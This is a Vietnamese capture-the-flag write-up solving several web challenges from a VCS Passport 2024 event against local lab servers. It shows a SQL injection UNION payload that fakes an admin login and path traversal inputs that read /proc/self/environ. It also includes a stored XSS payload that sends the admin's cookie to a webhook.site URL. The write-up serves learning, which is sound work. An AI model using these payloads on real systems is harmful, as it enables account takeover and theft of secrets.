Source các challenge: https://github.com/DuongHaoNika/VCS_Passport_2024_Web
## Bài Web01-Flag1
Khi bấm vào link, mình thấy giao diện như sau:

Sau đó đọc source code thấy route /freeflag:


Sau đó thấy server trả về session như hình

=> Có thể là jwt. Vào trang jwt.io check:

=> Flag: `VCS{Web01-Flag1-680c37cc-6147-4d08-8c11
29c91b2a50bf}`
## Bài Web01-Flag2
Sau khi đọc source code, thấy chỉ lấy được Flag02 trong trường hợp login với admin

Trước tiên thì tìm hiểu xem cơ chế mà server xử lý login như nào


Hàm `execute` đã trực tiếp nối input của người dùng (username) vào trực tiếp câu lệnh SQL => SQLInjection
Server kiểm tra trước xem có tồn tại username không, nếu có thì lấy password đã
được hash md5 (lưu trữ) trong database, và lấy password người dùng nhập, hash md5
password đó => Kiểm tra xem 2 hash trùng nhau không => Trùng thì đăng nhập thành
công.
Hoàn toàn có thể tận dụng lỗi SQL Injection trên, union select 1 tài khoản admin
và 1 mật khẩu đã được mã hóa md5

Đọc source => Sử dụng SQLite3
Sau đó vào Burp Suite, chỉnh giá trị username như sau:
```abc") UNION SELECT 'admin', '202cb962ac59075b964b07152d234b70'-```
Password cung cấp: `123`
Ở đây để phần đầu username là abc, để server không tìm thấy user có username là
abc thì user phía sau được lấy => Fake được user admin


## Bài Web01-Flag3
Đọc file `start.sh`:

Thấy `$FLAG3` chưa unset => vẫn nằm trên environ của tiến trình.
Khi đọc src thì mình nhận ra field `title` không hề được validate:


Ý tưởng là mình sẽ inject vào field `title` để thực hiện Path Traversal, đọc file `/proc/self/environ` hoặc `/proc/1/environ`
Đầu tiên mình tạo request với CURL:
```
curl.exe -X POST http://localhost:9001/upload-meme -F "meme=@dockerfile" -F "title=title" -x 127.0.0.1:8080 -v
```
Qua Burp Suite


Sửa `title` => `aaaaaaaa", "../../../../../../../proc/self/environ") --`

## Bài Web04

Đây là code python, trong index có hàm render_template() không bị SSTI (render_template_string thì bị)
Mình để ý đến `/feedback`

`subject` được đưa vào nối chuỗi => Có thể bị Path Traversal
Sau khi xem và tìm hiểu thì hàm unidecode() có thể chuyển `\`, `\\` về `/` => bypass được '/'
Xem docker và check được user có thể ghi vào folder `errors`

Ý tưởng là mình sẽ Path Traversal qua field `subject` và thực hiện lệnh gì đó qua field `content`

Lấy được flag trong config (`app.config['FLAG'] = os.environ['FLAG']`)

## Bài Web06

Khi đọc source mình để ý 2 hàm dưới

Check tiếp hàm register

Nhận thấy `email` và `bio` đã bị filter XSS. Còn username được lấy từ
`session[“username”]`. Mà `username` trong hàm register lấy trực tiếp từ người dùng
=> `username` là **untrusted data**
Hàm report profile => khả năng được gửi lên để admin xem
=> sẽ ra sao nếu report 1 nick có username với payload xss để cướp cookie admin
khi xem
Đầu tiên tạo 1 user có username:
<script>fetch(`https://webhook.site/d15deb00-b0fb-43ad-a288
480ba00c2c37?cookie=${document.cookie}`)</script>

Sau đó tạo user khác, mục đích để lấy nick này report nick trên

Ví dụ: http://localhost:9006/profile/3ab3a9de-3571-48a4-bb01-257486e69f3a

Check webhook

Flag: `VCS{web06-2f29cec6-b8ea-4126-a2cd-a213bb332150}`